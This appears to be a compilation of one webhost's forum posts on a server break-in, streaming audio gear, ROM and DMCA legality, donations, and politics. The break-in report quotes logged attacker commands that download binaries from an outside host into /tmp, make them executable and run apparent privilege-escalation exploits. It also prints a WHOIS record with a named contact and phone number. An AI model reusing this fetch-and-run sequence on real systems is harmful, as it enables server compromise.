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No problem As for A@H -- I have no problem with Tim Eckel, at all, -- He has zero tolerance for crap, especially hackertypes, and I cant say I blame him. A@H has always been a target, and will continue to be one until it goes dark for the last time.

thanks, although I dont often post, I do lurk alot -- mainly to make sure all is well. the changes I made yesterday should keep everything running smoothly - since thrn, there have been several exploit attempts against the server (probably because in hacker communities its now listed as exploitable) and all of these attempts have met with failure. When I found the exploit used, I not only plugged that, but I plugged many, many others -- some I might have had, others that I didnt -- but I plugged them anyway. I even plugged windows exploits, even though this is a Linux system (you would be surprised how many hackers try to gain access by attempting to exploit a nonexistant windows directory structure) along with plugging the exploits, I also blacklisted several known hacker resource sites, several types of tools, several proxy servers, and other bad things. If any of you use a proxy, it may no longer work -- Sorry, but, 'dem's the breaks' -- either find another or abondon your proxy altogether. I didnt go as far as Teckel of Arcade@home and ban the Entire Asia Pacific region, but I could If Im pressed into it.

Hacker report : The hacker's LAst IP address before getting into the server was 147.46.127.205 this is the data I can pull on it.. # ENGLISH KRNIC is not an ISP but a National Internet Registry similar to APNIC. The followings is organization information that is using the IPv4 address. IPv4 Address : 147.46.0.0-147.46.255.255 Network Name : NET-SNU Registration Date : 20040625 Publishes : Y [ Organization Information ] Organization ID : ORG384075 Org Name : Seoul National University Address : Sillim9-dong, Gwanak-gu, Seoul Detail address : San56-1Beonji Jungangjeonsanwon Zip Code : 151-742 [ Technical Contact Information ] Name : Eunjoo Jung Org Name : Seoul National University Address : Sillim9-dong, Gwanak-gu, Seoul Detail address : San56-1Beonji Jungangjeonsanwon Zip Code : 151-742 Phone : +82-2-880-5380 E-Mail : ********@plaza.snu.ac.kr once they got in thru this exploit http://www.google.com/search?hl=en&q=Psych...G=Google+Search their IP became 127.0.0.1 and their username apache.. heres some log data of what they did once inside, pretending to be apache -- here the user is downloading crap into the servers TMP folder.. --16:51:24-- http://xpl.netmisphere2.com/r0nin => `r0nin' Resolving xpl.netmisphere2.com... done. Connecting to xpl.netmisphere2.com[82.237.120.143]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 19,258 [application/x-executable] 0K.................. 100% 45.98 KB/s 16:51:25 (45.98 KB/s) - `r0nin' saved [19258/19258] and here is some other stuff they ran before I caught them finger cd /tpm cd /tmp wget http://xpl.netmisphere2.com/brk2 chmod 777 brk2 ./brk2 wget http://xpl.netmisphere2.com/uselib24 chmod 777 uselib24 ./uselib24 ./uselib24 id ./uselib24 Though this looks bad, this kind of hack is more of a PITA than a security-threatening one - they disrupted the server and apparantly banged the hell out of 1emulation's database -- I cant be sure if it was directed or not (since once they were in they 'became' apache -- which the server doesnt see as a threat. ) at 1emulation specifically, or if this site was just chosen at random. anyway, all the code has been deleted, the exploits have been plugged. Ive been watching the server for the last couple of hours and there is nothing going on of interest at all.

I laughed, I cried, I felt Like a kid again.. Two enthusiastic thumbs up

thats the plan -- The only hackery Ive seen has been people finding Exploits and hacking the software running a couple of sites (and in both cases its been PhpNuke) -- the hackers got no further than the sites themselves. There was the issue a few weeks back that took down the main MySQL engine, but that has proven to be a malfunction, not hackery.

The server went down a few times this evening over the span of about an hour or so, that was me, updating the system software almost totally from one end to the other. What you can expect on the user end is even faster response time, and less downtime in the future (though historically I always keep that to a minimum) anyway, crisis over, rock on

Guns ?? Naaa... Sporks and my army of C=64 Bots ?? hell-yeah!!!

Well, the first show was more expiremental than anything else -- As for the noise, its not from my end, trust me - Im very very picky about my audio -- until it goes to external Amplification, its 100% digital -- Im totally analog free. Even my microphone is immediatly converted to a nice SPDIF signal -- alot of the noise came from the conferencing software and users setting their Microphones too high - Before the next show Ill have to set level standards to keep balance and whatnot because since it all comes in as one stream I cant do independant adjustments.

The test record without the conference came out flawless in terms of quality -- I think alot of the noise also came from guests having their microphones up too high, or perhaps using the standard Low Quality PC microphone you can get for like 10 bucks from Walmart or smth.

There is no Analog Cable -- its all SPDIF and Fiber - The only analog cable goes out to a Makie 1202VLZ Pro and then to The Peavey Head and cabinets -- ANd those analog cables are all Monstercable products - I wont use anything else and for soundcards, the Lowest Quality one is A SBlive 5.1 Platinum the others are all MAudio Products.

yeah.. the impact of listeners were more than I expected, ANd they totally crashed Shoutcast.. I had to reboot the whole server because of it. Anyway, Ive made some severe improvments because of those lessons learned and were going to do the interviews and the show again. For whatever reason My backup recording I made locally here caught everything but me. which makes little sense to me, So Ill chalk that up to Gamecop's luck. Figure this out -- Im using 3 PCs -- one of them has the MIcrophone connected to it, and I used it to do the interviews, and I streamed the combined miv/voice output to a second computer thru the speaker out connector. Those being interviewed could hear me just fine. ANd I could hear me as well thru headphones - the second computer converted that data to digital and sent it to a minidisk Deck as well as to the third computer, which streamed the signal out... Before Shoutcast crashed, I could be heard thru there, BUT, for whatever reason, the master recording here has everything and everyone on it but me. I dont get it. After resetting shoutcast and rebooting the server, I reset and rebooted the three systems here. I made a test recording with the wiring configured exactly the same way I had them and it all worked just fine.

What I see coming from this 50 years down the road is the delegalization of all marraige, making it a personal contract and nothing more.

agreed. it is poorly written legislation, full of loopholes, both for and against the DMCA watchdogs.

probably.. the DMCA is a for profit business, and if busting you for that copy of "Carnival" you have on your harddrive isnt going to get them paid, they probably wont. agreed. Also true. its just the profiteers are higher on their list of targets.

So, like I said, its a control issue.. And, if he is in it for Profit, then sooner or later he is gonna get nailed to the wall for it. Distributing any forged/reproduced without permission/etc. copyrighted material for profit is illegal. plain and simple.

okay.. the question of seeding a torrent came up, and its true that tracking a torrent uses bandwith, but honestly very, very little, as compared to distributing an.ISO all by yourself to the world. Id figure Id add that in to stop any confusion.

wrong. Distributing ROMs by means other than the original hardware for unproduced unsupported hardware is legal if the person who downloads it either has permission from the copyright owner, has the original hardware, or after the copyright expired and 50 years has passed nobody steped forward to claim rights to that work and reinstate that copyright. about a year ago it was reported incorrectly that roms are okay and can be traded freely, but that was plain wrong and retracted a day or two later, but people being the way they are hang on to only what they want to hear.

Its brought to my attention that the question of using Torrents for the bigger files came up and the owner isnt willing at this time to do so. ************* Id say this looks rather suspicious.. Why ?? Well, if the site is providing a service and is only looking for donations to cover bandwidth, they should welcome torrents. The way BitTorrent works is to decentralize the distribution of a file, so, after a number of seeders for that torrent latch on, there would be minimal Bandwith drain from the originating torrent if any at all. This bothers me.. It bothers me in that it seem to contradict the reason for donations in the first place, and with any torrent it is very difficult to control how its spread, so Blah would lose control of those big files for download, and lose the incentive to get people to donate. IMO, If Blah is not looking to profit from the sale of Roms, they should show it by getting some torrents up.. it will lessen their dependance on bandwith, and make it more obvious that making money isnt their intention. Again, Im not trying to dictate what they should do, I could care less. but, Im just commenting on what I see.

Hummm. Tricky.. So anyway.. here is my perspective as a webhost to several other sites. Getting Donations for 'server cost' is fine, but once it moves from sustaining site-cost to profitability there is a problem.. Thats the part of "Donations" for a cause that everyone forgets. Every red cent needs to be put toward that cost and any excess or unused monies returned. This is the way Donations work... So, to those at Blah, Id strongly suggest making sure you can account for every penny you folks have gotten and can show how it went into server cost as advertised. Else you are in essence profiting from the selling of roms. Now Im not here to tell you how to run your site, its not my place, nor even my concern, but those donations can get you in trouble. Maybe you should set a monthly cost-target and the moment its full stop accepting donations till the next month, that would be the right way to do this. and make sure you keep records just in case.

well, this should settle any doubts some who post at 1emulation might have had about the Identity of this guy, and what he is capable of. As for the living in Mexico thing, It could be a ruse, or perhaps he has family in Mexico and ran back home-- because gettting anyone extradited from Mexico to stand trial in the US is nearly impossible. But, Im thinking its a lie. The Iron cross thing ? I have no Idea what he is trying to prove with that. but, erm, to put it bluntly, hes the wrong color to be a Nazi.. kinda reminds me of a Chappelle's Show sketch.. Maybe he is just creating the Impression he's dangerous or smth..

yep, the person who is in charge is always the brunt of all the jokes. Its the way it is. Propaganda Spin Machines are wonderful at distorting the truth. Its one of the things I like about http://factcheck.org -- its a great resource for those who dont know where to look to get far more accurate data. agreed, thats the Smart way to make up your mind.. research -- sadly in this race both major candidates have serious problems.. and, as for Nader.. Pfft, I wont even get into that

instead of going to a totally partesan site, why not go here instead ? http://www.brainyquote.com/ -- Look up quotes of several political leaders and other famous people -- quotes that are good, bad and idiotic.. The Punkvoter site makes itself look pretty stupid by adding the "Dude its been more like 60 years" line, showing whoever designed the site doesnt understand the context of that quote. If youre gonna call someone out on what they said, ya better make sure you do it the right way. (BTW, Bush Senior and Clinton both have said some really funny stuff)

actually, you got the quote wrong.. its "It is clear our nation is reliant upon big foreign oil. More and more of our imports come from overseas." This is in reference to the Oil Production strike in Venezuela(sp ?) --we were forced to get more oil from the OPEC nations because of it.

Oh god, it looks like Bush and his family are now trying to make the rest of America as stoopid as he is! Its just a continuation of the Ebonics Movement of the 90's -- Being somewhat connected to the Education system in America I can Tell some horror Stories about how far Education has degraded. Here are a few... 1) Kids have the constitutional right to fail --- pfft -- I believe along with your rights go responsibility, and this is just irresponsible 2) The Removal of Phonics from early Education in exchange for the 'whole Language' approach. Kids learn to read whole words and not how words are made, so when they come across an unfamiliar word, they cant read it, or even figure out how to pronounce it 3) Ebonics -- There is nothing better than further fracturing an already fractured language, why not go all the way and make Latinics, Asianics and Euronics as well ? 4) Spelling Doesnt count in some school systems anymore -- Soe spehl gud is ohk 5) "Equal Rights" in history texts -- I can understand this approach for recent history, however, early American history is almost 100% old white rich men with a few notable exceptions, nothing like rewriting the past.. 6) Over-the-top political correctness -- when a bunch of young school children go on an Oval-hunt instead of an Easter-Egg hunt one may be carrying PC alittle too far. 7) There are no winners or losers -- kids play games and everyone wins.. yeah, thats preparing them for real life alright.. 8.) because of Poor SAT results, the Standard scoring was Scaled about 10 years ago to make it all better At this point there is half a generation of undereducated kids --kids that are unprepared for real-life... You do know who was in charge of the USA when all these changes took place, Don't you ?

Thats why Ive got my virtually Indestructable Keyboard. I can kill and destroy and then if the keyboard gets dirty from random Snacking (for me BTW is usually booze related and fruits and nuts) I unplug it and hose it off in the kitchen sink then put it back.